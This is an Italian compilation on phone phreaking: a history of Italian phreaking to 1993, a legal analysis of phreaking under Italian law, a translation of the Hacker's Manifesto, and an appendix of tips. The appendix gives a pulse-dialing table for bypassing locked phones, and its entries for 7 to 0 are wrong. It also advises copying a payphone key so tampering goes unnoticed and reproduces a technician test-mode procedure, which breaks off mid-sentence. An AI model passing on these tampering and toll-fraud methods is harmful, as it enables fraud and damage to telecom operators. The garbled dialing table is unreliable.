Nonostante la diffusione in alcuni paesi del nostro continente, non si può parlare di un fenomeno "black box" in Italia. Il metodo, molto vecchio, non ebbe mai successo, stroncato anche da centrali urbane di più recente concezione in grado di rilevare ed escludere questo tipo di anomalie.
Nella seconda metà degli anni Ottanta Italcable presentò nuovi servizi, primi tra tutti i numeri verdi internazionali estesi a più Paesi. Questo permise ai phreaker di importare una tecnica divenuta famosa all'estero circa un decennio prima con il nome di blue box (il primo modello individuato era appunto alloggiato in una scatola blu), le cui origini sono tuttora controverse: qualcuno ne attribuisce la paternità agli stessi progettisti o tecnici delle linee internazionali; per certo, protagonisti storici dell'informatica si dedicarono al perfezionamento di tale piccolo apparato. Questo dispositivo, reale o simulato dal software, grazie all'imitazione di alcune frequenze di dialogo tra centrali telefoniche di un certo tipo, permetteva di indirizzare ad altro utente una chiamata originariamente instradata su numero verde, evitando così l'addebito.

Semplice e raffinata, la blue box non produceva un reale danno economico ai concessionari delle linee, ma era per contro un'entità troppo conosciuta.
Dalle compagnie telefoniche stesse innanzitutto, e poi, se non altro come "leggenda", dai ragazzi di mezzo pianeta.
Degli oltre venti tipi di box realizzati negli USA, non si hanno notizie di impieghi rilevanti, nel nostro paese, per modelli diversi dai due citati: casi isolati di interconnnessione abusiva di due linee o tentativi di vandalismo telefonico rientrerebbero nella categoria "boxes" ma furono fatti più unici che rari.
A partire dal 1986 iniziò la proliferazione incontrollata, nell'ambiente Videotel, dei servizi di messaggeria, o chat (centoquaranta in meno di cinque anni); la prima messaggeria internazionale, accessibile in seguito all'interconnessione Videotel-Minitel divenne uno dei punti di incontro degli hacker di quel periodo. La qualità e la diffusione dei modem migliorarono di molto, intorno al 1987 si potevano acquistare discreti prodotti e installarli senza difficoltà nè problemi con la compagnia telefonica.
Itapac era già conosciuta nelle università perché la rete telematica accademica (oggi nota come Internet, è un network di reti) era collegata con essa; il solito Videotel inoltre si appoggiava (e si appoggia) a Itapac per raggiungere i servizi. Gli hacker dunque iniziarono a usare tale sistema di scambio dati per raggiungere nuovi ambienti telematici italiani ed esteri.
Alcuni codici di accesso usati intorno al 1988 divennero famosi. Con la diffusione di Amiga la pirateria del software, primo e spesso unico mezzo di importazione e diffusione, fece un salto di qualità; il modem divenne una periferica comune, utilizzata per il prelievo delle ultime novità per lo stesso Amiga o per MS-DOS dalle numerose banche dati che andavano nascendo in quel periodo. Nuovi metodi di correzione errori eliminarono l'incubo delle spurie.
L'azienda statunitense US Robotics sviluppò un protocollo non omologato dal CCITT per trasmissioni ad alta velocità; questi modems, largamente utilizzati anche nel nostro paese, risolsero il problema della lentezza di trasferimento anche se il costo dell'apparato rimase alto fino alla diffusione di modem concorrenti, avvenuta molto più tardi grazie all'introduzione dello standard CCITT V32bis.
Siamo sempre nella seconda metà degli anni Ottanta: il nuovo algoritmo elaborato per la generazione di password Videotel fece in breve la fine del suo predecessore. I contrasti per motivi economici tra i fornitori di informazione di Videotel e la compagnia telefonica divennero pesanti, SIP stessa decise di ridurre la sua partecipazione alla gestione del servizio (attualmente si occupa solo del sistema di sicurezza e dei rapporti diretti con l'utente).
L'accesso a Itapac cessò di essere un fenomeno d'elite nel settembre 1989, quando alcuni codici superarono le frontiere del ristretto mondo degli hacker e iniziarono a essere utilizzati da utenti più "novellini". Itapac permetteva il collegamento a banche dati americane anche al di fuori della rete stessa grazie a particolari indirizzi detti outdialers; fu l'aspetto più interesssante del network in quegli anni, dopo i servizi di messaggeria. Speciali outdialer inoltre potevano raggiungere gratuitamente una banca dati in qualsiasi parte del mondo, unico difetto la lentezza di Itapac e il fatto che la chiamata avesse origine fisica negli Stati Uniti, con tutti i problemi che potevano derivare da una connessione intercontinentale a bassa velocità.
Ma Itapac era utilizzabile soltanto da determinate città, concentrate nel Nord del paese; nel 1990 SIP introdusse il numero verde nazionale 1421 che consentì l'accesso alla rete con precise limitazioni (reverse charging) da tutt'Italia, anche se ci volle molto tempo per il completamento del servizio.
Nel settembre 1990, in occasione di SMAU, un periodico pubblicò a scopo dimostrativo un codice di accesso a Itapac 1421 valido senza restrizioni su tutto il territorio nazionale; questo fu l'episodio più famoso nella storia della rete e interessò centinaia di proprietari di modem: quando tale password (5GFvdD) fu disattivata, nel gennaio1991, l'accesso al network era divenuto un vizio ed esplose il bisogno di altri codici validi. L'implementazione del collegamento "countrydirect" intanto, aveva apero nuove frontiere per il phreaking, legate specialmente all'importazione software. Si trattava di numeri gratuiti internazionali che permettevano di usare servizi e sistemi di addebito di compagnie straniere, ad esempio le carte di credito telefoniche statunitensi i cui numeri, da anni, erano oggetto di collezione e scambio tra i pirati telematici.
Con un pò di lingua inglese e un numero di carta USA valido, la chiamata gratuita negli States fu possibile per tutti; per raggiungere altre nazioni serviva solo qualche codice in più, quello dei PBX.
Bridges, loops, conferences, e altri gadget tipici delle reti nordamericane, furono alla portata dei phreaker italiani; fu ad esempio possibile chiamare contemporaneanente 8, 10, 15 persone disperse in varie parti del mondo. Videotel rese disponibili simpatici servizi di addebito su password per l'acquisto di piccoli oggetti, e i phreaker trascorsero l'allegro periodo dei mondiali di calcio inviandosi a spese di terzi orchidee e adesivi personalizzati.

Difetti nel software delle centrali elettroniche fecero nascere in quegli anni strane voci su possibili nuove tecniche di phreaking, ma non vi furono novità rilevanti.
Verso la fine del 1990, iniziarono a essere create in banche dati private aree di hacking/phreaking degne di questo nome; l'esperimento di aprire spazi simili all'interno di un network di BBS sarà in seguito tentato da due reti nazionali, EuroNet e FidoNet; in entrambi i casi la smisurata paranoia di alcuni pseudo-responsabili condurrà all'aborto del progetto, seriamente ripreso solo dalla neonata CyberNet nell'aprile 1993. Nel dicembre 1990, due novità: il primo PBX su numero verde 1678 e il primo outdialer in grado di chiamare gratuitamente banche dati in ogni parte del mondo a partire da Milano.
Venne l'estate '91, e una serie di inchieste giudiziarie assestò un duro colpo alle truffe che i fornitori di informazione di Videotel perpetravano da tempo di danni di SIP. Questi episodi, naturalmente, non ebbero nulla a che vedere con il fenomeno dell'hacking ma rivelarono una volta per tutte le lacune del sistema.
Le possibilità del reverse charging (Itapac 1421) furono adeguatamente esplorate, si scoprì così che dopo tutto non era affatto necessario possedere un codice di accesso per penetrare nella rete. Sempre tramite Itapac, fu trovato il modo di inviare FAX ed espressi a qualsiasi destinatario, ovviamente senza spendere nulla (1991/92). Per quanto riguarda i posti telefonici pubblici, è obbligatorio citare l'applicazione di nastro isolante sulla scheda magnetica a scalare, notissimo esempio dell'inaffidabilità di quella generazione di lettori Urmet. Di circa tre anni prima, l'altrettanto nota abitudine di resettare il telefono pubblico inserendo una scheda piegata in due nella fessura superiore dell'apparecchio, conseguenza di un errata progettazione di quella macchina; altri metodi più recenti hanno invece a che fare con le linee elettroniche. Il boom della telefonia cellulare attirò ovviamente l'attenzione dei phreaker, non senza il supporto di tecnici e rivenditori alla ricerca di un mezzo per arrotondare gli introiti. Poche EPROM riprogrammate per i nuovi 900MHz, un interesse maggiore per la precedente rete veicolare 450MHz, ormai abbandonata a se stessa e molto più sicura dal punto di vista del violatore di sistemi. In seguito, SIP riferirà ogni episodio di frode (ovviamente scoperta) esclusivamente agli adorati telefonini 900MHz: come il grande Oscar Wilde insegna, ogni scusa è buona per parlare del prodotto. Specie quando il prodotto, sempre grazie all'anacronistico monopolio che caratterizza il mercato italiano, ha un costo scandaloso aggravato da un'insensata tassa di lusso. (Piccola nota: se credete che la cosa non vi tocchi, sappiate che sono ben 9842, secondo il dossier Pagani in risposta all'interrogazione parlamentare dell'On. Gasparri, i portatili le cui bollette sono interamente spesate con denaro pubblico: l'apoteosi dello spreco!).
La più infelice creatura dei primi anni Novanta rimane comunque la carta di credito SIP, altrimenti nota come "carta infinita": comoda e pratica ma non dotata di alcuna forma di protezione, a eccezione di tre codici (il terzo è il checksum) facilmente calcolabili e un controllo tramite operatore bypassabile senza troppo sforzo.
Nel settembre 1991 la blue box sfuggì al controllo di pochi gruppi telematici (anche per interessi personali di alcuni membri) e divenne una tecnica paurosamente diffusa; di conseguenza, i veri phreaker cominciarono a disprezzare il metodo in questione o quantomeno a intrudurre varianti personali che riducessero il rischio connesso a un fenomeno di massa. Ciò non impedì a quest'entità di dominare l'intero 1992. La notorietà della scatola blu fu la prefazione al suo certificato di morte. Modifiche più o meno rilevanti introdotte a livello internazionale nei sistemi di segnalazione, dietro sicura pressione delle più grandi aziende di telecomunicazioni, cancellarono lentamente le possibilità di un suo utilizzo. All'inizio del 1993, delle procedure più classiche di blue boxing, non esisteranno superstiti di effettiva utilità pratica.
Sempre nel 1992, l'automatizzazione di diversi servizi USA raggiungibili dall'Italia con un semplice apparecchio multifrequenza eliminò la necessità di un dialogo diretto con gli operatori stranieri. Insistenti voci su un pericolo di concorrenza (termine sconosciuto per legge alla compagnia telefonica italiana) cambiarono l'atteggiamento dei responsabili di Itapac: vagamente migliorato il servizio, nacque la necessità di dimostrare la capacità di acchiappare almeno un utente irregolare; le vittime furono piccoli appassionati di messaggerie completamente estranei al vero hacking/phreaking, tuttavia lo scopo dimostrativo fu raggiunto e puntualmente gonfiato dalla stampa con formulazione di tesi deliranti.
Notevolmente migliorato (almeno sulla carta) anche il sistema di accesso a VDT: addebito diretto al chiamante, soluzione palesemente copiata all'estero e in fondo una sorta di "uovo di Colombo". (Nota: il sistema è ancora in fase sperimentale alla data odierna).
Nello stesso anno vedranno la luce gli apparecchi telefonici pubblici "cards only", doverosi sostituti (in nome della sicurezza) degli ancora giovanissimi ma malati predecessori.
E il 1993? Si attende l'implementazione di un certo numero di nuovi servizi e il naturale studio dei medesimi da parte degli hacker/phreaker, si attendono gli effetti sull'ambiente telematico dell'ulteriore, notevole crescita degli utilizzatori di modem. Nulla di particolamente stimolante?

Forse... ma nessuno dei grandi eventi nella storia underground della telematica fu mai preventivato, e questo è evidente. Esiste una certa curiosità, inoltre, anche per il crescente interesse del pubblico sull'argomento; uno dei motivi che mi hanno spinto a scrivere questo articolo, in nome della controinformazione, è che ero stufo di leggere i soliti commenti da parte di cosiddetti esperti del ramo: gente che oggi sputa sentenze e solo ieri progettava sistemi tra i più hackerati del globo.
I violatori di sistemi hanno sempre riconosciuto l'abilità dei propri antagonisti e lo stesso hacking/phreaking, che esiste in nome del libero diritto all'informazione, si può considerare una sorta di sfida tra esperti di telecomunicazioni. In questo senso, e solo in questo, sono felice di constatare che rimangono ancora molte porte da aprire.

5.2 La natura Giuridica del Phone Phreaking
di Andrea Monti

Sul fatto che l'uso di mezzi o apparecchiature di varia complessità e natura diretti ad evitare l'addebito sulla propria bolletta sia illegittimo non c'è alcun dubbio; qualcuno ne sorge, invece, quando ci si ponga il problema di individuare, in concreto, quale reato sia stato commesso.
La questione è tutt'altro che priva di interesse pratico dal momento che nel nostro ordinamento penale, come è noto, nessuno può essere punito per un fatto che al tempo in cui è stato commesso non era previsto dalla legge come reato; ciò vuol dire, in altri termini, che se non è possibile ricondurre l'impiego delle "Blue-Box" (o di apparecchiature o software aventi analoga funzione) ad una norma penale vigente non viene commesso nessun reato (salva, ovviamente, la risarcibilità del danno in sede civile).
Siccome non esiste nessuna legge che vieta esplicitamente l'impiego di questi apparecchi sarebbe, allora, immediato dedurre che usare le "Blue-Box" sia quantomeno non-illegale, ma le cose non sono così semplici.
Il problema di qualificare giuridicamente le interferenze abusive sulla rete telefonica è noto da parecchio tempo: già nel 1977, infatti, la Corte di Cassazione ebbe ad occuparsi di un caso del genere pronunciando una sentenza della quale si riporta qui di seguito la massima:
"La captazione fraudolenta di un servizio o di una prestazione (nella specie, collegamento abusivo di un apparecchio telefonico con la cabina di zona della SIP mediante allacciamento della linea di servizio riservata alla società) può astrattamente integrare in concorso con degli altri elementi all'uopo richiesti dalla legge, e - segnatamente dell'ingiusto profitto e del danno patrimoniale - le ipotesi del delitto di truffa.
Non può invece ravvisarsi nel fatto il reato di furto dal momento che manca la cosa mobile (o l'energia ad essa equiparata) sulla quale deve cadere, ai fini della configurabilità dell'ipotesi di cui all'art.624 c.p., l'azione dell'impossessamento. Infatti le utenze telefoniche private - gestite in regime di concessione ad una società privata, quale la SIP, anche se con partecipazione di capitale pubblico - realizzano una ipotesi di somministrazione di un servizio, e non di una energia, benchè questa sia essenziale al servizio stesso (le vibrazioni acustiche sono trasformate, nella telefonia, in vibrazioni elettriche, ma oggetto della utenza è il servizio in sé, e non già l'energia che lo rende possibile).
In difetto del delitto di truffa, può configurarsi nel fatto la specifica ipotesi di reato prevista dal d.p.r. 29/03/73 n. 156 che dichiara perseguibile, ai sensi dell'art.3 c.p., chiunque esplichi attività che rechino danno ai servizi postali e di telecomunicazione od alle opere ed oggetti ad essi inerenti (art.23)." - Cass.Pen. Sez.I, 21-12-77.

In estrema sintesi i principi enunciati da questa sentenza sono i seguenti:
1) La captazione fraudolenta del servizio telefonico non è furto perchè manca la "cosa mobile altrui" che dovrebbe venir sottratta a chi la detiene, secondo il testo dell'art.624 c.p.
2) Viceversa potrebbe configurarsi la truffa, ma per il verificarsi di questa ipotesi sarebbe necessario
provare di aver ingannato qualcuno per ottenere l'ingiusto profitto, così infatti recita l'art.640 c.p. :
"Chiunque, con artifizi e raggiri, inducendo taluno in errore, procura a sè o ad altri un ingiusto profitto con altrui danno, è punito ....".
In altri termini, ciò che dovrebbe essere punito, in questo caso, non è il phreaking fine a se stesso quanto piuttosto il suo impiego al fine di compiere gli artifizi e raggiri menzionati dal codice penale; che poi questo sia difficile da provare è un altro discorso.
3) Se non è possibile configurare la truffa allora potrebbe essere applicabile l'art. 23 d.p.r. 29/03/73 n. 156.

E' ragionevole sostenere che anche l'impiego delle "Blue-Box" rientri fra le ipotesi contemplate dalla
sentenza in questione e che, quindi, sia qualificabile come "fraudolenta captazione di servizi o prestazione", anche se, ad oggi, non sembrano essere stati registrati precedenti giudiziari specifici.
L'unica soluzione per risolvere definitivamente il problema era quella di prevedere una specifica ipotesi di reato che individuasse esattamente non solo cosa, ma anche e soprattutto, come punire.
L'occasione (persa) poteva giungere dalla legge che ha inserito nel codice penale i c.d. "Computer crimes".
Fra i reati introdotti dalla L.547/93 il candidato a risolvere la questione che ha aperto il presente scritto avrebbe potuto essere quello previsto dall'art.640ter (frode informatica).
Il testo dell'articolo in questione così recita:
"Chiunque, alterando in qualsiasi modo il funzionamento di un sistema informatico o telematico o intervenendo senza diritto con qualsiasi modalità su dati, informazioni o programmi contenuti in un sistema informatico o telematico o ad esso pertinenti, procura a sè o ad altri un ingiusto profitto con altrui danno, è punito con la reclusione da sei mesi a tre anni e con la multa da lire centomila a due milioni.
La pena è della reclusione da uno a cinque anni e della multa da lire seicentomila a tre milioni se se
ricorre una delle circostanze previste da numero 1) del secondo comma dell'art.640, ovvero se il fatto è commesso con l'abuso della qualità di operatore del sistema .
Il delitto è punibile a querela della persona offesa salvo che ricorra taluna delle circostanze di cui al
secondo comma o un'altra circostanza aggravante."

Una prima superficiale lettura dell'articolo non aiuta a chiarire le cose.
L'articolo 640 ter c.p., infatti, si riferisce esclusivamente ai sistemi informatici e telematici ma non prende affatto in considerazione il problema del phreaking.
Del resto è la legge stessa che differenzia nettamente l'ambito informatico-telematico da quello telefonico come nell'art.623 bis c.p. dove le forme di comunicazione vengono distinte in telefoniche, telegrafiche, informatiche e telematiche, o in materia di intercettazioni telefoniche dove sussiste la
medesima classificazione.
Nella stessa direzione si muove la dottrina che definisce "sistema informatico" "... più elaboratori
elettronici collegati fra loro per scambiare dati" (AA.VV., Profili penali dell'informatica, Giuffrè 1994 p.148), se il collegamento avviene per mezzo di cavi telefonici, onde guidate ecc. allora il sistema diventa "telematico" (ibidem).
Sarebbe ovvio concludere che siccome il phreaking non riguarda i "sistemi" menzionati dalla legge ma
solo dei centralini telefonici, esso non dovrebbe rientrare nell'ambito di vigenza dell'art.640ter.

A ben vedere, tuttavia, molte delle tecniche impiegate per procurarsi la disponibilità delle linee telefoniche hanno come bersaglio il software che gestisce la centrale telefonica, risultando idonee ad alterare il funzionamento del sistema così come previsto dalla norma in oggetto.
In conclusione, quindi, bisognerebbe distinguere il metodo di phreaking impiegato: l'uso di apparecchi o
sistemi che non interagiscono direttamente con un computer probabilmente non rientra nell'ambito di validità dell'art. 640ter, e allora valgono le considerazioni svolte in precedenza.
Il ricorso a sistemi che coinvolgono direttamente un elaboratore dovrebbe essere invece punibile ai sensi del predetto articolo, a nulla rilevando, peraltro, che il "bersaglio" del phreaker sia oltre confine o oltre oceano.

5.3 Mentor's Last Words
The Hacker's Manifesto

Ne e' stato arrestato un altro oggi, e' su tutti i giornali.
"Ragazzo arrestato per crimine informatico", "Hacker arrestato dopo essersi infiltrato in una banca"...

Dannati ragazzini. Sono tutti uguali. Ma avete mai, con la vostra psicologia da due soldi e il vostro tecno-cervello da anni 50, guardato dietro agli occhi del Hacker? Non vi siete mai chiesti cosa abbia fatto nascere la sua passione? Quale forza lo abbia creato, cosa puo' averlo forgiato? Io sono un hacker, entrate nel mio mondo...

Il mio e' un mondo che inizia con la scuola... Sono piu' sveglio di molti altri ragazzi, quello che ci insegnano mi annoia...
Dannato sottosviluppato. Sono tutti uguali. Io sono alle Junior High, o alla High School. Ho ascoltato gli insegnanti spiegare per quindici volte come ridurre una frazione. L'ho capito. "No, Ms. Smith, io non mostro il mio lavoro. E' tutto nella mia testa..."
Dannato bambino. Probabilmente lo ha copiato. Sono tutti uguali. Ho fatto una scoperta oggi. Ho trovato un computer. Aspetta un momento, questo e' incredibile! Fa esattamente quello che voglio.
Se commetto un errore, e' perche' io ho sbagliato, non perche' io non gli piaccio... O perche' si senta minacciato da me... O perche' pensi che io sia un coglione... O perche' non gli piace insegnare e vorrebbe essere da un'altra parte... Dannato bambino. Tutto quello che fa e' giocare. Sono tutti uguali.
Poi e' successa una cosa...una porta si e' aperta su un mondo...correndo attraverso le linee telefoniche come l'eroina nelle vene del tossicomane, un impulso elettronico e' stato spedito, un rifugio dagli incompetenti di ogni giorno e' stato trovato, una tastiera e' stata scoperta.
"Questo e'...questo e' il luogo a cui appartengo..." Io conosco tutti qui...non ci siamo mai incontrati, non abbiamo mai parlato faccia a faccia, non ho mai ascoltato le loro voci...pero' conosco tutti.
Dannato bambino. Si e' allacciato nuovamente alla linea telefonica. Sono tutti uguali. Ci potete scommettere il culo che siamo tutti uguali...noi siamo stati nutriti con cibo da bambini alla scuola mentre bramavamo una bistecca... i pezzi di cibo che ci avete dato erano gia stati masticati e senza sapore. Noi siamo stati dominati da sadici o ignorati dagli indifferenti. I pochi che avevano qualcosa da insegnarci trovavano in noi volenterosi allievi, ma queste persone sono come gocce d'acqua nel deserto.
Ora e' questo il nostro mondo...il mondo dell'elettrone e dello switch, la bellezza del baud. Noi facciamo uso di un servizio gia esistente che non costerebbe nulla se non fosse controllato da approfittatori ingordi, e voi ci chiamate criminali. Noi esploriamo...e ci chiamate criminali. Noi cerchiamo conoscenza...e ci chiamate criminali. Noi esistiamo senza colore di pelle, nazionalita', credi religiosi e ci chiamate criminali. Voi costruite bombe atomiche, finanziate guerre, uccidete, ingannate e mentite e cercate di farci credere che lo fate per il nostro bene, e poi siamo noi i criminali.
Si, io sono un criminale. Il mio crimine e' la mia curiosita'. Il mio crimine e' quello che i giurati pensano e sanno non quello che guardano. Il mio crimine e' quello di scovare qualche vostro segreto, qualcosa che non vi fara' mai dimenticare il mio nome.
Io sono un hacker e questo e' il mio manifesto. Potete anche fermare me, ma non potete fermarci tutti...dopo tutto, siamo tutti uguali.

The Mentor

5.4 Lo sfogo di un Phreaker

Siete tutti dei lamer, qui non esistono veri phreakers. Siete solo povera gente che crede che scrivere in un gruppo come questo (per fortuna libero, e ringrazio chi l'ha reso tale) significhi essere gente "del giro".
Ma VOI, cosa avete mai fatto di realmente phreak? E soprattutto, cosa sareste REALMENTE disposti a fare? Avete mai provato il brivido freddo che scorre lungo la schiena del phreaker che tenta una tecnica in una cabina telefonica, sperando che l'ultimo passante che l'ha guardato non chiami gli sbirri? No? Allora PRIMA studiate elettronica, telefonia, informatica e cercate di conoscere della gente IN GAMBA. Imparate le tecniche con umiltà.
Provatele seriamente. Solo allora forse potrete dire di essere del giro. Voi non sapete neanche cosa vuol dire phreaker. A meno che - e ne sarei contento - questo "news" non sia vuoto perché la gente
Sta studiando e non ha tempo da perdere. E non perché nessuno sa cosa dire. Pensateci. Non pensate a chi possa essere io. Pensate a cosa potreste diventare VOI se non foste qui a volere tutto pronto ma se foste veramente disposti a darvi da fare.

Appendice 1: Leggende Metropolitane

Da quando ho iniziato a dedicarmi al phreaking, ho notato che giravano voci strane e tecniche apparentemente assurde che poi invece si verificavano… assurde!
Non so chi ha avuto l'idea malsana di metterle in giro, ma alcune (c'è gente che le ha perfino provate…) sono proprio comiche, anche se denotano una notevole fantasia associata ad una completa inesperienza.
Mitica è la storiella che io ho sentito parecchie volte dei numerini che andavano digitati dopo il numero da chiamare per non pagare, il tutto da un telefono cellulare. Chiaramente conoscendo il funzionamento del sistema telefonico si capisce che tali numeri venivano completamente ignorati.

"From: "Nicola " < xxxxxxxxx@tin.it >
To: < spaghettiphreak@hotmail.com >
Subject: gratis dal cellulare?
Date: Tue, 28 Apr 1998 02:36:45 +0200

Non è vera la storia dei numerini segreti alla fine del numero da chiamare dal cellulare...
Avevo una media di L. 100.000 a bolletta....dopo quei numerini...che io ho usato spesso (perchè garantiti sicuri) ho ricevuto L. 1.200.000 di bolletta....convinti??????? ciao

Nike"

Vedete anche voi che non ci sono dubbi…. Questa storia è assimilabile a quella del tizio che fa l'incidente con la moto, si rialza, ma non appena si toglie il casco gli si apre in due la testa! Mio cuggino docet…
E cosa dire poi degli assurdi metodi per ricaricare le schede telefoniche telecom?
Passi il metodo dello scotch che in effetti era valido sulla prima generazione dei lettori Urmet (primi anni '90), ma gli altri…
La tessera nel sale, lo schermo della TV a b/n (perché emettono più radiazioni…), il registratore del Commodore 64 o addirittura il forno a microonde e l'accendino!!
La gente ci ha provato lo stesso, però…

"La carta telefonica dentro il sale per qualche giorno o sul televisore b/n acceso da qualche ore per ricaricarla sono delle belle leggende metropolitane ...io (scemo!) ci ho pure provato
.... NON FUNZIONA!!!
Non funziona con le schede scariche e non funziona con quelle che hanno ancora dentro qualche lira.
E' probabile invece che il televisore smagnetizzi quelle cariche... questo si!!!
(E' possibile che le interferenze magnetiche del televisore modifichino l'importo della scheda a vostro favore: la probabilita' di riuscita puo' essere paragonata a quella di far centro con un bottone in una giornata ventosa dentro un bicchiere posto a dieci metri di distanza.)
Lo scotch sulla banda per non far modificare l'importo dal lettore: che cazzata!!! se il lettore non e' in grado di scrivere il codice ovviamente non puo' nenche essere in gradi di leggerlo no!!!!
Master"

Queste e tante altre sono le leggende metropolitane che circondano il mondo del Phreaking.. e altre ne verranno fuori non appena nuove frontiere saranno superate, specie quelle della fantasia.

Telefonare senza tastiera

Ok ragazzi, questa è una tecnica vecchissima, ma potrebbe esserci qualcuno di voi che ancora non la conosce
(seee.. ma dai!).
E' la prima cosa che un vero piccolo phreaker scopre (Anche Joe Engressia ha cominciato così): è possibile
comporre i numeri telefonici senza usare la tastiera del telefono, utile quando ci si trova alle prese con un
telefono al quale qualche taccagno ha messo un lucchetto o qualcosa di simile.

Per ottenere i numeri bisogna premere leggermente la levetta sulla quale si poggia la cornetta. Bisogna
premerla fino in fondo e bisogna lasciarla subito. Ad ogni numero corrisponde un numero di pressioni della
levetta... lo schema è semplice ma ve lo scrivo lo stesso:

1 .

2 . .

3 . . .

4 . . . .

5 . . . . .

6 . . . . . .

7 . . . .

8 . . . .

9 . . . .

0 . . . .

ogni . corrisponde ad una pressione.

by CDP

Un altro metodo è quello di usare un piccolo 'telecomando' da segreteria telefonica, quelli che riproducono i
toni. Basta appoggiarlo alla cornetta come fosse un blue box.

Mbakni

N.B. QUESTO FILE E' DA RITENERSI A TITOLO PURAMENTE INFORMATIVO, PERCIO'
L'AUTORE, AVATAR, DECLINA OGNI RESPONSABILITA' DALL'USO CHE POTREBBE
ESSERNE FATTO. L'AUTORE, DUNQUE, NON INCORAGGIA CHI VOLESSE
SERVIRSENE
PER SCOPI ILLEGALI.
ùùù
IL POSSESSO DI QUESTO FILE E' COMUNQUE DEL TUTTO LECITO.
ùùù

-!!!- PROCEDURA DI TEST DELLE CABINE A SCHEDE -!!!-
ùù
La 'Procedura di test' consente di fare molte cose interessanti (leggetevele),
ma prima bisogna aprire la cabina (non vi consiglio di usare metodi 'violenti'
(piede di porco, ecc),la cosa migliore sarebbe copiare la chiave o farne una
nuova, perchŠ Š importante che NON SI NOTI il vostro intervento) e modificare
la posizione dello switch a fianco del Display.

-!!!-T.P.D.C.-!!!-
^^^^^^^^^^^^^^^^^^
Posizionare l'unico microswitch verso l'alto.

Dare un comando di RESET al pulsante posto vicino al microswitch. Sul display
viene visualizzato:

ÚÄÄ¿
³ STATO DI TEST ³
³ REL. nn.nn xx/xx/xx ³
ÀÄÄÙ

(REL.......: identificazione release)

<TEST 1: FONIA - SONERIA - BIP RICEVITORE - BOLLINI>
Digitare 1 sulla tastiera di selezione, sul display compare TEST 01
lampeggiante. In questa fase TEST 01 lampeggiante si possono effettuare 4 test
diversi e cioŠ:
1 - TEST FONIA: Confermare "1", sul display viene visualizzato TEST FONIA;
verificare la fonia nel microtelefono che rimane attiva per
circa 1 min. dopo di che viene visualizzato in seconda riga
FINE TEST a conferma della chiusura del test fonia e subito
dopo ricompare TEST 01 lampeggiante.
2 - TEST SONERIA: Digitare "2", sul display viene visualizzato TEST SONERIA;
verificare, se Š montata la soneria elettronica, che suoni;
dopo circa 20 sec. viene visualizzato il seconda riga FINE
TEST con la ricomparsa sul display di TEST 01 lampeggiante.
3 - TEST BEEP RICEVITORE: Digitare "3", sul display viene visualizzato TEST
BEEP RICEVITORE; verificare il beep di avviso fine
credito nel ricevitore che rimane attivo in modo
intermittente per circa 20 sec. dopo di che viene
visualizzato in seconda riga FINE TEST con la

ricomparsa sul display di TEST 01 lampeggiante.

<TEST 2: INTERFACCIA DI LINEA>
Digitare "2" e verificare sul display la comparsa del messaggio TEST 02 I. LINEA seguito da EO in seconda riga.

<TEST 3: PIASTRA LOGICA>
Digitare "3" e verificare sul display la comparsa del messaggio TEST 03 P. LOGICA seguita da EO in seconda riga.

<TEST 4: VISUALIZZAZIONE CONTATORI>
Digitare "4" sul display compare TEST 04 CONTATORI e subito dopo verranno evidenziati in sequenza i contenuti dei contatori suddistinti per tipo (sulla sinistra del display), e la quantit… (sulla destra) espresse da numeri di max. 4 cifre che nel seguito saranno indicati con "xxxx" cioŠ:
CONT NICD xxxx = numeri incassi carta telefonica
CONT NRCD xxxx = numeri riscontri carta telefonica
CONT NICC xxxx = numeri incassi carta di credito
VALORE SCATTO 200 = costo del gettone
Al termine, sul display in seconda riga comparir… il messaggio FINE TEST.

<TEST 5: DISPLAY>
Digitare "5" e verificare sul display la scritta TEST 05 DISPLAY e subito dopo la comparsa di tutti i numeri su due righe da 0 a 9; al termine comparir… in seconda riga il messaggio FINE TEST.

<TEST 6: MOTORE - ATTUATORE SARACINESCA>
Digitare "6" e verificare sia la la movimentazione del tamburo che quella della saracinesca. Sul display TEST 06 MEC. LET. e subito dopo LETTORE INTEGRATO e al termine in seconda riga FINE TEST.

<TEST 7: LETTURA DELLE SCHEDE - BUZZER - LED>
Digitare "7". Sul display compare il messaggio LETTORE INEGRATO e subito dopo INSERIRE UNA CARTA; introdurre una carta telefonica non esaurita; la carta sar… trattenuta e poi restituita; sul display comparir… il messaggio CARTA TELEFONICA e subito dopo RITIRARE LA CARTA; si attiver… il buzzer per alcuni istanti. Passare una carta di credito; sul display comparir… CREDITO TELEFONICO se la carta Š telecom, CREDITO COMMERCIALE se commerciale, per poi ritornare sul display INSERIRE UNA CARTA. L'uscita da questo test avviene o digitando un tasto della tastiera o per time-out di 40 sec., visualizzando il messaggio FINE TEST in seconda riga.

NOTA: Una carta telefonica con valore viene restituita dalla bocchetta superiore, mentre una carta telefonica azzerata viene restituita dalla bocchetta inferiore.

<TEST 8: VISUALIZZAZIONE SEQUENZIALE DEI CODICI DI ERRORE>
Digitare "8". Se successivamente all'ultimo TEST 8 visualizzato non vi Š
stato un errore che abbia determinato un F.S., eventuali codici diagnostici
presenti nello storico vengono visualizzati sul display come di seguito:
In prima riga: ERRORI STORICI
In seconda riga: E11 oppure E12, ecc.
Se vi Š stato un F.S. anche se autoripristinante sul display viene
visualizzata una sequenza formata dal codice di errore che ha determinato
il F.S. pi— eventuali codici diagnostici presenti nello storico. Pi— volte
l'apparecchio Š andato in F.S. pi— sequenze saranno visualizzate come di
seguito:
In prima riga: SEQUENZA N.01
IN seconda riga: CODICE E10 oppure Exx
L'avanzamento dei codici/sequenza avviene manualmente digitando un qualsiasi
tasto della tastiera. A fine sequenze gli eventuali codici diagnostici
presenti nello storico vengono visualizzati come descritto nella prima parte
ma in modo automatico. Successivamente sul display vengono visualizzati in
modo automatico i contatori statistici relativi al lettore integrato, distinti
per tipo (sulla sinistra), e per quantit… (sulla destra) espresse da numeri
max di 4 cifre che nel seguito saranno indicati con "xxxx" e cioŠ:
In prima riga: CONTATORI LETTORE
In seconda riga: CONT FRODE GON xxxx: contatore frode gancio ON
CONT FRODE GOFF xxxx: contatore frode gancio OFF
CONT ERR LETT2 xxxx: contatore errore lettura T2
CONT INCAGLIO xxxx: contatore incaglio scheda
CONT CANCEL OK xxxx: contatore scheda OK
CONT CANCEL KO xxxx: contatore scheda KO

Termina con TEST 08 SEQUENZE e in seconda riga FINE TEST. Questo test pu•
essere ripetuto indefinitivamente senza uscire dallo stato di test. All'uscita
da quest'ultimo sia per reset che per time-out di 40 sec. di inattivit…, viene
azzerata la memoria dello storico sequenziale dei codici di errore, mentre i
contatori statistici relativi al lettore integrato vengono azzerati solo
superando la soglia di 9999. L'uscita da qualsiasi test per reset o per
